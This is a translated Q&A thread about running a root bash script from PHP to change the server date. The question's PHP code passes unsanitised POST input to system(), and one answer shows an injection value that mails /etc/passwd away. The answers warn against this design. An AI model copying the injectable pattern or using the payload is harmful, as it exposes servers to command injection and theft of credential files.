以 root 身份运行 bash 脚本来更改日期,当被 php 脚本调用时

以 root 身份运行 bash 脚本来更改日期,当被 php 脚本调用时

我需要通过运行 php 调用的 bash 脚本来更改服务器日期。当我从 shell 调用 bash 脚本时,它可以工作,但如果我通过 php 调用它,则它不起作用。bash 脚本以 root 身份运行。

php脚本代码:

<?php
$time = $_POST['input_time'];

$command = "/home/tutul/bin/timetest.sh";

$output=system("$command $time");
echo "$output";
?>

bash 脚本代码:

#! /bin/sh
date $1
hwclock --systohc --utc

我在这里做错了什么?

我尝试以 root 身份登录后在本地机器上运行它,所以我猜该脚本是以 root 身份调用的?

答案1

首先,我假设您意识到 PHP 脚本容易受到命令注入的影响,对吗?例如,如果我使用“”向脚本发送 POST,input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd那么我的收件箱中就会收到一份不错的密码文件。

其次,设置系统时间需要 root 权限。如果您调用的是二进制可执行文件,则可以将其设为 SETUID ( chmod u+s $program; chown root $program)。幸运的是,Linux 不尊重脚本上的 SETUID 位。如果您绝对坚持使用这种方法,一种解决方法是编写一个C 包装器以 root 身份调用您的脚本。包装器将为 SETUID root 并调用您的脚本。如果您这样做,在将输入传递给脚本之前,请务必对其进行清理!

编辑:

https://stackoverflow.com/questions/556194/calling-a-script-from-a-setuid-root-c-program-script-does-not-run-as-root

答案2

如果您以 root 身份运行脚本,它将以 root 用户身份运行,除非您使用某些命令来改变这一点。

您需要在 date 命令中添加 --set 或 -s 来实际更改时间。

话虽如此,你确定你真的想这样做吗?你在做什么或试图完成什么?总的来说,这对我来说似乎不是最好的主意……除非你正在为路由器或类似的东西制作一个 Web 界面。

更好的方法是使用 NTPD 来保持系统时间的准确性,然后让 Web 应用程序根据该值进行调整。

答案3

您说它无法在 PHP 中运行 - 您是以 root 身份从命令行运行 PHP 脚本还是通过 Web 界面运行?当您通过 Web 浏览器访问 PHP 脚本时,该命令将以 Web 服务器正在使用的用户 ID 运行。通常这不是 root。

您没有提到脚本是否是 setuid,但如果不是,那么它可能以用户“apache”或“www-user”或“nobody”或类似用户身份运行。您可以让 shell 脚本设置用户权限,但从安全角度来看,这通常不是一个好主意。当然,以 root 身份运行 Web 服务器也是如此。

相关内容